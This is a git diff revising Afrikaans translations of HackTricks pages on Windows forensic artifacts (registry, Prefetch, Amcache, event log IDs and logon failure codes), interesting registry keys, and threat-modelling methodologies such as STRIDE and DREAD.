'n **OST-lêer** word deur Microsoft Outlook gegenereer wanneer dit met **IMAP** of 'n **Exchange** bediener geconfigureer is, wat soortgelyke inligting stoor as 'n PST-lêer. Hierdie lêer word gesinkroniseer met die bediener, wat data vir **die laaste 12 maande** behou tot 'n **maksimumgrootte van 50GB**, en is geleë in dieselfde gids as die PST-lêer. Om 'n OST-lêer te sien, kan die [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) gebruik word.
|
||||
'n **OST-lêer** word deur Microsoft Outlook gegenereer wanneer dit met **IMAP** of 'n **Exchange** bediener gekonfigureer is, wat soortgelyke inligting stoor as 'n PST-lêer. Hierdie lêer word gesinkroniseer met die bediener, wat data vir **die laaste 12 maande** behou tot 'n **maksimumgrootte van 50GB**, en is geleë in dieselfde gids as die PST-lêer. Om 'n OST-lêer te sien, kan die [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) gebruik word.
|
||||
|
||||
### Herwinning van Aanhangsels
|
||||
|
||||
@ -243,7 +241,7 @@ Die Windows Registrasie, wat uitgebreide stelsel- en gebruikersaktiwiteitsdata s
|
||||
|
||||
Sommige hulpmiddels is nuttig om die registrasielêers te analiseer:
|
||||
|
||||
- **Registry Editor**: Dit is geïnstalleer in Windows. Dit is 'n GUI om deur die Windows registrasie van die huidige sessie te navigeer.
|
||||
- **Registry Editor**: Dit is in Windows geïnstalleer. Dit is 'n GUI om deur die Windows registrasie van die huidige sessie te navigeer.
|
||||
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Dit laat jou toe om die registrasielêer te laai en deur hulle met 'n GUI te navigeer. Dit bevat ook Boekmerke wat sleutels met interessante inligting uitlig.
|
||||
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Weereens, dit het 'n GUI wat toelaat om deur die gelaaide registrasie te navigeer en bevat ook plugins wat interessante inligting binne die gelaaide registrasie uitlig.
|
||||
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Nog 'n GUI-toepassing wat in staat is om die belangrike inligting uit die gelaaide registrasie te onttrek.
|
||||
@ -276,19 +274,19 @@ In [hierdie pos](https://jonahacks.medium.com/investigating-common-windows-proce
|
||||
|
||||
### Windows Onlangse APPs
|
||||
|
||||
Binne die registrasielêer `NTUSER.DAT` in die pad `Software\Microsoft\Current Version\Search\RecentApps` kan jy subsleutels met inligting oor die **toepassing uitgevoer**, **laaste keer** dit uitgevoer is, en **aantal kere** dit gelanseer is.
|
||||
Binne die registrasie `NTUSER.DAT` in die pad `Software\Microsoft\Current Version\Search\RecentApps` kan jy subsleutels met inligting oor die **toepassing uitgevoer**, **laaste keer** dit uitgevoer is, en **aantal kere** dit geloods is.
|
||||
|
||||
### BAM (Achtergrondaktiwiteit Moderator)
|
||||
|
||||
Jy kan die `SYSTEM` lêer met 'n registrasiebewerker open en binne die pad `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` kan jy die inligting oor die **toepassings uitgevoer deur elke gebruiker** vind (let op die `{SID}` in die pad) en **op watter tyd** hulle uitgevoer is (die tyd is binne die Data waarde van die registrasie).
|
||||
Jy kan die `SYSTEM` lêer met 'n registrasiebewerker open en binne die pad `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` kan jy die inligting oor die **toepassings uitgevoer deur elke gebruiker** vind (let op die `{SID}` in die pad) en **watter tyd** hulle uitgevoer is (die tyd is binne die Data waarde van die registrasie).
|
||||
|
||||
### Windows Prefetch
|
||||
|
||||
Prefetching is 'n tegniek wat 'n rekenaar toelaat om stilweg **die nodige hulpbronne te verkry wat benodig word om inhoud te vertoon** wat 'n gebruiker **binne die nabye toekoms mag toegang** hê, sodat hulpbronne vinniger toegang verkry kan word.
|
||||
Prefetching is 'n tegniek wat 'n rekenaar toelaat om stilweg **die nodige hulpbronne te haal wat nodig is om inhoud te vertoon** wat 'n gebruiker **binnekort mag toegang** hê, sodat hulpbronne vinniger toegang verkry kan word.
|
||||
|
||||
Windows prefetch bestaan uit die skepping van **kaste van die uitgevoerde programme** om hulle vinniger te kan laai. Hierdie kaste word geskep as `.pf` lêers binne die pad: `C:\Windows\Prefetch`. Daar is 'n limiet van 128 lêers in XP/VISTA/WIN7 en 1024 lêers in Win8/Win10.
|
||||
Windows prefetch bestaan uit die skep van **kaste van die uitgevoerde programme** om hulle vinniger te kan laai. Hierdie kaste word geskep as `.pf` lêers binne die pad: `C:\Windows\Prefetch`. Daar is 'n limiet van 128 lêers in XP/VISTA/WIN7 en 1024 lêers in Win8/Win10.
|
||||
|
||||
Die lêernaam word geskep as `{program_name}-{hash}.pf` (die hash is gebaseer op die pad en argumente van die eksekuteerbare). In W10 is hierdie lêers gecomprimeer. Let daarop dat die blote teenwoordigheid van die lêer aandui dat **die program op 'n stadium uitgevoer is**.
|
||||
Die lêernaam word geskep as `{program_name}-{hash}.pf` (die hash is gebaseer op die pad en argumente van die eksekuteerbare). In W10 is hierdie lêers gecomprimeer. Let daarop dat die blote teenwoordigheid van die lêer aandui dat **die program uitgevoer is** op 'n stadium.
|
||||
|
||||
Die lêer `C:\Windows\Prefetch\Layout.ini` bevat die **name van die gidse van die lêers wat geprefetch is**. Hierdie lêer bevat **inligting oor die aantal uitvoerings**, **datums** van die uitvoering en **lêers** **geopen** deur die program.
|
||||
|
||||
@ -317,7 +315,7 @@ Dit gee die volgende inligting:
|
||||
- Gebruiker wat die proses uitgevoer het
|
||||
- Gestuurde Bytes
|
||||
- Ontvange Bytes
|
||||
- Netwerkinterface
|
||||
- Netwerk Koppelvlak
|
||||
- Verbinding duur
|
||||
- Proses duur
|
||||
|
||||
@ -329,7 +327,7 @@ Jy kan die data uit hierdie lêer verkry met die hulpmiddel [**srum_dump**](http
|
||||
```
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
Die **AppCompatCache**, ook bekend as **ShimCache**, is 'n deel van die **Application Compatibility Database** wat deur **Microsoft** ontwikkel is om toepassingskompatibiliteitsprobleme aan te spreek. Hierdie stelseldel vorm 'n rekord van verskeie stukke lêermetadat, wat insluit:
|
||||
Die **AppCompatCache**, ook bekend as **ShimCache**, is 'n deel van die **Application Compatibility Database** wat deur **Microsoft** ontwikkel is om toepassingskompatibiliteitsprobleme aan te spreek. Hierdie stelseldonderdeel registreer verskeie stukke lêermetadat, wat insluit:
|
||||
|
||||
- Volledige pad van die lêer
|
||||
- Grootte van die lêer
|
||||
@ -350,7 +348,7 @@ Om die gestoor inligting te ontleed, word die [**AppCompatCacheParser** tool](ht
|
||||
|
||||
Die **Amcache.hve** lêer is in wese 'n registerhive wat besonderhede log oor toepassings wat op 'n stelsel uitgevoer is. Dit word tipies gevind by `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
Hierdie lêer is opvallend omdat dit rekords van onlangs uitgevoerde prosesse stoor, insluitend die pades na die uitvoerbare lêers en hul SHA1-hashes. Hierdie inligting is van onskatbare waarde vir die opsporing van die aktiwiteit van toepassings op 'n stelsel.
|
||||
Hierdie lêer is opvallend omdat dit rekords van onlangs uitgevoerde prosesse stoor, insluitend die pades na die uitvoerbare lêers en hul SHA1 hashes. Hierdie inligting is van onskatbare waarde vir die opsporing van die aktiwiteit van toepassings op 'n stelsel.
|
||||
|
||||
Om die data uit **Amcache.hve** te onttrek en te analiseer, kan die [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool gebruik word. Die volgende opdrag is 'n voorbeeld van hoe om AmcacheParser te gebruik om die inhoud van die **Amcache.hve** lêer te ontleed en die resultate in CSV-formaat uit te voer:
|
||||
```bash
|
||||
@ -368,20 +366,20 @@ Jy kan die hulpmiddel [**RecentFileCacheParse**](https://github.com/EricZimmerma
|
||||
|
||||
### Geskeduleerde take
|
||||
|
||||
Jy kan dit uit `C:\Windows\Tasks` of `C:\Windows\System32\Tasks` onttrek en dit as XML lees.
|
||||
Jy kan hulle uit `C:\Windows\Tasks` of `C:\Windows\System32\Tasks` onttrek en as XML lees.
|
||||
|
||||
### Dienste
|
||||
|
||||
Jy kan dit in die register onder `SYSTEM\ControlSet001\Services` vind. Jy kan sien wat gaan uitgevoer word en wanneer.
|
||||
Jy kan hulle in die register onder `SYSTEM\ControlSet001\Services` vind. Jy kan sien wat gaan uitgevoer word en wanneer.
|
||||
|
||||
### **Windows Store**
|
||||
|
||||
Die geïnstalleerde toepassings kan gevind word in `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
Hierdie repository het 'n **log** met **elke toepassing geïnstalleer** in die stelsel binne die databasis **`StateRepository-Machine.srd`**.
|
||||
Hierdie repository het 'n **log** met **elke toepassing wat in die stelsel geïnstalleer is** binne die databasis **`StateRepository-Machine.srd`**.
|
||||
|
||||
Binne die Toepassing tabel van hierdie databasis, is dit moontlik om die kolomme: "Application ID", "PackageNumber", en "Display Name" te vind. Hierdie kolomme het inligting oor vooraf geïnstalleerde en geïnstalleerde toepassings en dit kan gevind word as sommige toepassings verwyder is omdat die ID's van geïnstalleerde toepassings opeenvolgend moet wees.
|
||||
Binne die Toepassingstabel van hierdie databasis, is dit moontlik om die kolomme: "Application ID", "PackageNumber", en "Display Name" te vind. Hierdie kolomme het inligting oor vooraf geïnstalleerde en geïnstalleerde toepassings en dit kan gevind word as sommige toepassings verwyder is omdat die ID's van geïnstalleerde toepassings opeenvolgend moet wees.
|
||||
|
||||
Dit is ook moontlik om **geïnstalleerde toepassing** binne die registerpad te vind: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
Dit is ook moontlik om **geïnstalleerde toepassings** binne die registerpad te vind: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
En **verwyderde** **toepassings** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
|
||||
## Windows Gebeure
|
||||
@ -394,29 +392,29 @@ Inligting wat binne Windows gebeure verskyn, is:
|
||||
- Betrokke gasheer (hostname, IP)
|
||||
- Toegang tot bates (lêers, gids, drukker, dienste)
|
||||
|
||||
Die logs is geleë in `C:\Windows\System32\config` voor Windows Vista en in `C:\Windows\System32\winevt\Logs` na Windows Vista. Voor Windows Vista was die gebeurtenislogs in binêre formaat en daarna is dit in **XML-formaat** en gebruik die **.evtx** uitbreiding.
|
||||
Die logs is geleë in `C:\Windows\System32\config` voor Windows Vista en in `C:\Windows\System32\winevt\Logs` na Windows Vista. Voor Windows Vista was die gebeurtenislogs in binêre formaat en daarna is hulle in **XML-formaat** en gebruik die **.evtx** uitbreiding.
|
||||
|
||||
Die ligging van die gebeurtenis lêers kan in die SYSTEM register gevind word in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||
Die ligging van die gebeurtenis lêers kan in die SYSTEM-register gevind word in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||
|
||||
Hulle kan van die Windows Event Viewer (**`eventvwr.msc`**) of met ander hulpmiddels soos [**Event Log Explorer**](https://eventlogxp.com) **of** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
|
||||
## Verstaan Windows Sekuriteit Gebeurtenis Logging
|
||||
|
||||
Toegang gebeurtenisse word in die sekuriteitskonfigurasielêer aangeteken wat geleë is in `C:\Windows\System32\winevt\Security.evtx`. Die grootte van hierdie lêer is aanpasbaar, en wanneer sy kapasiteit bereik word, word ouer gebeurtenisse oorgeskryf. Aangetekende gebeurtenisse sluit gebruikers aanmeldings en afmeldings, gebruikers aksies, en veranderinge aan sekuriteitsinstellings in, sowel as lêer, gids, en gedeelde bate toegang.
|
||||
Toegang gebeurtenisse word in die sekuriteitskonfigurasielêer aangeteken wat geleë is by `C:\Windows\System32\winevt\Security.evtx`. Die grootte van hierdie lêer is aanpasbaar, en wanneer sy kapasiteit bereik is, word ouer gebeurtenisse oorgeskryf. Aangetekende gebeurtenisse sluit gebruikers aanmeldings en afmeldings, gebruikers aksies, en veranderinge aan sekuriteitsinstellings in, sowel as lêer, gids, en gedeelde bate toegang.
|
||||
|
||||
### Sleutel Gebeurtenis ID's vir Gebruiker Verifikasie:
|
||||
|
||||
- **EventID 4624**: Dui aan dat 'n gebruiker suksesvol geverifieer is.
|
||||
- **EventID 4625**: Gee 'n verifikasiefout aan.
|
||||
- **EventID 4625**: Dui 'n verifikasiefout aan.
|
||||
- **EventIDs 4634/4647**: Verteenwoordig gebruiker afmeld gebeurtenisse.
|
||||
- **EventID 4672**: Dui aan dat daar met administratiewe regte aangemeld is.
|
||||
|
||||
#### Sub-tipes binne EventID 4634/4647:
|
||||
|
||||
- **Interaktief (2)**: Direkte gebruikersaanmelding.
|
||||
- **Interaktief (2)**: Direkte gebruiker aanmelding.
|
||||
- **Netwerk (3)**: Toegang tot gedeelde gidse.
|
||||
- **Batch (4)**: Uitvoering van batch prosesse.
|
||||
- **Dienste (5)**: Diens bekendstellings.
|
||||
- **Dienste (5)**: Diens begin.
|
||||
- **Proxy (6)**: Proxy verifikasie.
|
||||
- **Ontsluit (7)**: Skerm ontsluit met 'n wagwoord.
|
||||
- **Netwerk Duidelike teks (8)**: Duidelike teks wagwoord oordrag, dikwels van IIS.
|
||||
@ -430,16 +428,16 @@ Toegang gebeurtenisse word in die sekuriteitskonfigurasielêer aangeteken wat ge
|
||||
|
||||
- **0xC0000064**: Gebruikersnaam bestaan nie - Kan 'n gebruikersnaam enumerasie aanval aandui.
|
||||
- **0xC000006A**: Regte gebruikersnaam maar verkeerde wagwoord - Mogelijke wagwoord raai of brute-force poging.
|
||||
- **0xC0000234**: Gebruikersrekening is geblokkeer - Mag volg op 'n brute-force aanval wat tot verskeie mislukte aanmeldings gelei het.
|
||||
- **0xC0000072**: Rekening gedeaktiveer - Ongeoorloofde pogings om toegang tot gedeaktiveerde rekeninge te verkry.
|
||||
- **0xC0000234**: Gebruikersrekening is vergrendel - Kan volg na 'n brute-force aanval wat tot verskeie mislukte aanmeldings gelei het.
|
||||
- **0xC0000072**: Rekening is gedeaktiveer - Ongeoorloofde pogings om toegang tot gedeaktiveerde rekeninge te verkry.
|
||||
- **0xC000006F**: Aanmelding buite toegelate tyd - Dui pogings aan om buite die gestelde aanmeldure toegang te verkry, 'n moontlike teken van ongeoorloofde toegang.
|
||||
- **0xC0000070**: Oortreding van werkstasie beperkings - Kan 'n poging wees om van 'n ongeoorloofde plek aan te meld.
|
||||
- **0xC0000070**: Oortreding van werkstasie beperkings - Kan 'n poging wees om vanaf 'n ongeoorloofde plek aan te meld.
|
||||
- **0xC0000193**: Rekening vervaldatum - Toegang pogings met vervalde gebruikersrekeninge.
|
||||
- **0xC0000071**: Vervalde wagwoord - Aanmelding pogings met verouderde wagwoorde.
|
||||
- **0xC0000133**: Tyd sinkronisasie probleme - Groot tyd verskille tussen kliënt en bediener kan aandui van meer gesofistikeerde aanvalle soos pass-the-ticket.
|
||||
- **0xC0000224**: Verpligte wagwoord verandering vereis - Frekwente verpligte veranderinge mag 'n poging aandui om rekening sekuriteit te destabiliseer.
|
||||
- **0xC0000224**: Verpligte wagwoord verandering vereis - Frekwente verpligte veranderinge kan 'n poging aandui om rekening sekuriteit te destabiliseer.
|
||||
- **0xC0000225**: Dui 'n stelselfout aan eerder as 'n sekuriteitskwessie.
|
||||
- **0xC000015b**: Ontkende aanmeld tipe - Toegang poging met ongeoorloofde aanmeld tipe, soos 'n gebruiker wat probeer om 'n diens aanmelding uit te voer.
|
||||
- **0xC000015b**: Weier aanmeld tipe - Toegang poging met ongeoorloofde aanmeld tipe, soos 'n gebruiker wat probeer om 'n diens aanmelding uit te voer.
|
||||
|
||||
#### EventID 4616:
|
||||
|
||||
@ -451,7 +449,7 @@ Toegang gebeurtenisse word in die sekuriteitskonfigurasielêer aangeteken wat ge
|
||||
|
||||
#### EventID 1102:
|
||||
|
||||
- **Log Verwydering**: Sekuriteitslogs wat verwyder word, wat dikwels 'n rooi vlag is vir die bedek van onwettige aktiwiteite.
|
||||
- **Log Verwydering**: Sekuriteitslogs wat skoongemaak word, wat dikwels 'n rooi vlag is vir die bedek van onwettige aktiwiteite.
|
||||
|
||||
#### EventIDs vir USB Toestel Opvolging:
|
||||
|
||||
@ -477,7 +475,7 @@ Identifiseerbaar deur verskeie EventID 4625 rekords, gevolg deur 'n EventID 4624
|
||||
|
||||
#### Tyd Verandering
|
||||
|
||||
Aangeteken deur EventID 4616, veranderinge aan stelseltijd kan forensiese analise bemoeilik.
|
||||
Aangeteken deur EventID 4616, kan veranderinge aan die stelseltijd forensiese analise kompliseer.
|
||||
|
||||
#### USB Toestel Opvolging
|
||||
|
||||
@ -489,6 +487,6 @@ EventID 6005 dui aan stelsel begin, terwyl EventID 6006 afsluiting merk.
|
||||
|
||||
#### Log Verwydering
|
||||
|
||||
Sekuriteit EventID 1102 dui die verwydering van logs aan, 'n kritieke gebeurtenis vir forensiese analise.
|
||||
Sekuriteits EventID 1102 dui die verwydering van logs aan, 'n kritieke gebeurtenis vir forensiese analise.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,16 +1,14 @@
|
||||
# Interessante Windows Registriesleutels
|
||||
|
||||
### Interessante Windows Registriesleutels
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### **Windows Weergawe en Eienaar Inligting**
|
||||
|
||||
- Geleë by **`Software\Microsoft\Windows NT\CurrentVersion`**, sal jy die Windows weergawe, dienspakket, installasietyd en die geregistreerde eienaar se naam op 'n eenvoudige manier vind.
|
||||
- Geleë by **`Software\Microsoft\Windows NT\CurrentVersion`**, sal jy die Windows weergawe, dienspakket, installasietyd, en die geregistreerde eienaar se naam op 'n eenvoudige manier vind.
|
||||
|
||||
### **Rekenaarnaam**
|
||||
|
||||
- Die gasheernaam is onder **`System\ControlSet001\Control\ComputerName\ComputerName`** te vind.
|
||||
- Die rekenaarnaam is onder **`System\ControlSet001\Control\ComputerName\ComputerName`** te vind.
|
||||
|
||||
### **Tydsone Instelling**
|
||||
|
||||
@ -25,7 +23,7 @@
|
||||
|
||||
- Die **Windows weergawe** dui die uitgawe aan (bv. Home, Pro) en sy vrystelling (bv. Windows 10, Windows 11), terwyl **dienspakkette** opdaterings is wat regstellings en, soms, nuwe funksies insluit.
|
||||
|
||||
### Laaste Toegangstyd Inskakel
|
||||
### Laaste Toegangstyd Inskakeling
|
||||
|
||||
- Die inskakeling van laaste toegangstyd opvolging laat jou toe om te sien wanneer lêers laas geopen is, wat krities kan wees vir forensiese analise of stelseltelling.
|
||||
|
||||
@ -33,7 +31,7 @@
|
||||
|
||||
- Die register hou uitgebreide data oor netwerk konfigurasies, insluitend **tipes netwerke (draadloos, kabel, 3G)** en **netwerk kategorieë (Publiek, Privaat/Huis, Domein/Werk)**, wat noodsaaklik is om netwerk sekuriteitsinstellings en toestemmings te verstaan.
|
||||
|
||||
### Kliëntkant Kaping (CSC)
|
||||
### Klientkant Kaping (CSC)
|
||||
|
||||
- **CSC** verbeter offline lêer toegang deur kopieë van gedeelde lêers te kas. Verskillende **CSCFlags** instellings beheer hoe en watter lêers gekas word, wat prestasie en gebruikerservaring beïnvloed, veral in omgewings met intermitterende konnektiwiteit.
|
||||
|
||||
@ -64,7 +62,7 @@
|
||||
|
||||
### **Gedeelde Vouers**
|
||||
|
||||
- Gedeelde vouers en instellings is onder **`System\ControlSet001\Services\lanmanserver\Shares`**. Die Kliëntkant Kaping (CSC) instellings bepaal offline lêer beskikbaarheid.
|
||||
- Gedeelde vouers en instellings is onder **`System\ControlSet001\Services\lanmanserver\Shares`**. Die Klientkant Kaping (CSC) instellings bepaal offline lêer beskikbaarheid.
|
||||
|
||||
### **Programme wat Outomaties Begin**
|
||||
|
||||
@ -72,7 +70,7 @@
|
||||
|
||||
### **Soek en Getypte Paaie**
|
||||
|
||||
- Explorer soeke en getypte paaie word in die register onder **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** vir WordwheelQuery en GetyptePaaie, onderskeidelik, opgeteken.
|
||||
- Explorer soeke en getypte paaie word in die register onder **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** vir WordwheelQuery en TypedPaths, onderskeidelik, opgeteken.
|
||||
|
||||
### **Onlangse Dokumente en Office Lêers**
|
||||
|
||||
@ -84,7 +82,7 @@
|
||||
|
||||
### **Gebruikersaktiwiteit Opvolging**
|
||||
|
||||
- Die User Assist funksie log gedetailleerde toepassingsgebruik statistieke, insluitend loop telling en laaste loop tyd, by **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
|
||||
- Die User Assist kenmerk log gedetailleerde toepassingsgebruik statistieke, insluitend loop telling en laaste loop tyd, by **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
|
||||
|
||||
### **Shellbags Analise**
|
||||
|
||||
@ -93,9 +91,9 @@
|
||||
### **USB Toestel Geskiedenis**
|
||||
|
||||
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** en **`HKLM\SYSTEM\ControlSet001\Enum\USB`** bevat ryk besonderhede oor gekoppelde USB toestelle, insluitend vervaardiger, produknaam, en verbindingstydstempels.
|
||||
- Die gebruiker wat met 'n spesifieke USB toestel geassosieer word, kan bepaal word deur `NTUSER.DAT` hives vir die toestel se **{GUID}** te soek.
|
||||
- Die laaste gemonteerde toestel en sy volume serienommer kan opgespoor word deur `System\MountedDevices` en `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, onderskeidelik.
|
||||
- Die gebruiker wat met 'n spesifieke USB toestel geassosieer is, kan bepaal word deur `NTUSER.DAT` hives vir die toestel se **{GUID}** te soek.
|
||||
- Die laaste gemonteerde toestel en sy volume serienommer kan deur `System\MountedDevices` en `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, onderskeidelik, opgespoor word.
|
||||
|
||||
Hierdie gids konsolideer die noodsaaklike paaie en metodes om gedetailleerde stelsel-, netwerk- en gebruikersaktiwiteit inligting op Windows stelsels te bekom, met die doel om duidelikheid en bruikbaarheid te bevorder.
|
||||
Hierdie gids konsolideer die belangrike paaie en metodes om toegang te verkry tot gedetailleerde stelsel-, netwerk- en gebruikersaktiwiteit inligting op Windows stelsels, met die doel om duidelikheid en bruikbaarheid te bevorder.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,13 +1,15 @@
|
||||
# Bedreigingsmodellering
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Bedreigingsmodellering
|
||||
|
||||
Welkom by HackTricks se omvattende gids oor Bedreigingsmodellering! Begin 'n verkenning van hierdie kritieke aspek van kuberveiligheid, waar ons potensiële kwesbaarhede in 'n stelsel identifiseer, verstaan en strategieë ontwikkel. Hierdie draad dien as 'n stap-vir-stap gids vol werklike voorbeelde, nuttige sagteware en maklik verstaanbare verduidelikings. Ideaal vir beide beginners en ervare praktisyns wat hul kuberveiligheid verdediging wil versterk.
|
||||
Welkom by HackTricks se omvattende gids oor Bedreigingsmodellering! Begin 'n verkenning van hierdie kritieke aspek van kuberveiligheid, waar ons potensiële kwesbaarhede in 'n stelsel identifiseer, verstaan en strategieë ontwikkel om teen hulle te veg. Hierdie draad dien as 'n stap-vir-stap gids vol werklike voorbeelde, nuttige sagteware en maklik verstaanbare verduidelikings. Ideaal vir beide beginners en ervare praktisyns wat hul kuberveiligheid verdediging wil versterk.
|
||||
|
||||
### Gewoonlik Gebruikte Scenario's
|
||||
|
||||
1. **Sagteware Ontwikkeling**: As deel van die Veilige Sagteware Ontwikkelingslewe Siklus (SSDLC), help bedreigingsmodellering om **potensiële bronne van kwesbaarhede** in die vroeë stadiums van ontwikkeling te identifiseer.
|
||||
2. **Penetrasietoetsing**: Die Penetrasietoetsing Uitvoeringsstandaard (PTES) raamwerk vereis **bedreigingsmodellering om die stelsel se kwesbaarhede** te verstaan voordat die toets uitgevoer word.
|
||||
2. **Penetrasietoetsing**: Die Penetrasietoetsing Uitvoeringstandaard (PTES) raamwerk vereis **bedreigingsmodellering om die stelsel se kwesbaarhede** te verstaan voordat die toets uitgevoer word.
|
||||
|
||||
### Bedreigingsmodel in 'n Neutedop
|
||||
|
||||
@ -19,26 +21,26 @@ Bedreigingsmodelle bevat dikwels elemente wat in rooi gemerk is, wat potensiële
|
||||
|
||||
Die CIA Triade is 'n algemeen erkende model in die veld van inligtingsveiligheid, wat staan vir Vertroulikheid, Integriteit, en Beskikbaarheid. Hierdie drie pilare vorm die grondslag waarop baie sekuriteitsmaatreëls en -beleide gebou is, insluitend bedreigingsmodellering metodologieë.
|
||||
|
||||
1. **Vertroulikheid**: Verseker dat die data of stelsel nie deur ongeoorloofde individue toegang verkry word nie. Dit is 'n sentrale aspek van sekuriteit, wat toepaslike toegangbeheer, versleuteling, en ander maatreëls vereis om datalekke te voorkom.
|
||||
2. **Integriteit**: Die akkuraatheid, konsekwentheid, en betroubaarheid van die data oor sy lewensiklus. Hierdie beginsel verseker dat die data nie deur ongeoorloofde partye verander of gemanipuleer word nie. Dit behels dikwels kontrole, hashing, en ander data-verifikasiemetodes.
|
||||
3. **Beskikbaarheid**: Dit verseker dat data en dienste beskikbaar is vir geautoriseerde gebruikers wanneer nodig. Dit behels dikwels redundansie, fouttoleransie, en hoë-beskikbaarheid konfigurasies om stelsels aan die gang te hou, selfs in die gesig van onderbrekings.
|
||||
1. **Vertroulikheid**: Verseker dat die data of stelsel nie deur ongemagtigde individue toegang verkry word nie. Dit is 'n sentrale aspek van sekuriteit, wat toepaslike toegangbeheer, versleuteling, en ander maatreëls vereis om datalekke te voorkom.
|
||||
2. **Integriteit**: Die akkuraatheid, konsekwentheid, en betroubaarheid van die data oor sy lewensiklus. Hierdie beginsel verseker dat die data nie deur ongemagtigde partye verander of gemanipuleer word nie. Dit behels dikwels kontrole, hashing, en ander data-verifikasiemetodes.
|
||||
3. **Beskikbaarheid**: Dit verseker dat data en dienste beskikbaar is vir gemagtigde gebruikers wanneer nodig. Dit behels dikwels redundansie, fouttoleransie, en hoë-beskikbaarheid konfigurasies om stelsels aan die gang te hou, selfs in die gesig van onderbrekings.
|
||||
|
||||
### Bedreigingsmodellering Metodologieë
|
||||
|
||||
1. **STRIDE**: Ontwikkel deur Microsoft, STRIDE is 'n akroniem vir **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Elke kategorie verteenwoordig 'n tipe bedreiging, en hierdie metodologie word algemeen gebruik in die ontwerpfase van 'n program of stelsel om potensiële bedreigings te identifiseer.
|
||||
2. **DREAD**: Dit is 'n ander metodologie van Microsoft wat gebruik word vir risiko-assessering van geïdentifiseerde bedreigings. DREAD staan vir **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Elke van hierdie faktore word gegradeer, en die resultaat word gebruik om geïdentifiseerde bedreigings te prioriseer.
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): Dit is 'n sewe-stap, **risiko-georiënteerde** metodologie. Dit sluit die definisie en identifikasie van sekuriteitsdoelwitte in, die skep van 'n tegniese omvang, toepassingsdekomposisie, bedreigingsanalise, kwesbaarheidsanalise, en risiko/triage assessering.
|
||||
3. **PASTA** (Proses vir Aanvalsimulasie en Bedreigingsanalise): Dit is 'n sewe-stap, **risiko-georiënteerde** metodologie. Dit sluit die definisie en identifikasie van sekuriteitsdoelwitte in, die skep van 'n tegniese omvang, toepassingsdekomposisie, bedreigingsanalise, kwesbaarheidsanalise, en risiko/triage assessering.
|
||||
4. **Trike**: Dit is 'n risiko-gebaseerde metodologie wat fokus op die verdediging van bates. Dit begin vanuit 'n **risikobestuur** perspektief en kyk na bedreigings en kwesbaarhede in daardie konteks.
|
||||
5. **VAST** (Visual, Agile, and Simple Threat modeling): Hierdie benadering poog om meer toeganklik te wees en integreer in Agile ontwikkelingsomgewings. Dit kombineer elemente van die ander metodologieë en fokus op **visuele voorstellings van bedreigings**.
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Ontwikkel deur die CERT Koördinasiesentrum, is hierdie raamwerk gerig op **organisatoriese risiko-assessering eerder as spesifieke stelsels of sagteware**.
|
||||
5. **VAST** (Visueel, Agile, en Eenvoudige Bedreigingsmodellering): Hierdie benadering poog om meer toeganklik te wees en integreer in Agile ontwikkelingsomgewings. Dit kombineer elemente van die ander metodologieë en fokus op **visuele voorstellings van bedreigings**.
|
||||
6. **OCTAVE** (Operationeel Kritieke Bedreiging, Bates, en Kwesbaarheid Evaluasie): Ontwikkel deur die CERT Koördinering Sentrum, is hierdie raamwerk gerig op **organisatoriese risiko-assessering eerder as spesifieke stelsels of sagteware**.
|
||||
|
||||
## Gereedskap
|
||||
|
||||
Daar is verskeie gereedskap en sagteware-oplossings beskikbaar wat kan **help** met die skepping en bestuur van bedreigingsmodelle. Hier is 'n paar wat jy mag oorweeg.
|
||||
Daar is verskeie gereedskap en sagteware-oplossings beskikbaar wat kan **help** met die skepping en bestuur van bedreigingsmodelle. Hier is 'n paar wat jy kan oorweeg.
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
'n Gevorderde kruis-platform en multi-funksie GUI web spinnekop/kruiper vir kuberveiligheid professionele. Spider Suite kan gebruik word vir aanval oppervlak kaartlegging en analise.
|
||||
'n Gevorderde kruis-platform en multi-funksie GUI web spinnekop/kruiper vir kuberveiligheid professionele. Spider Suite kan gebruik word vir aanvaloppervlak kartering en analise.
|
||||
|
||||
**Gebruik**
|
||||
|
||||
@ -52,7 +54,7 @@ Daar is verskeie gereedskap en sagteware-oplossings beskikbaar wat kan **help**
|
||||
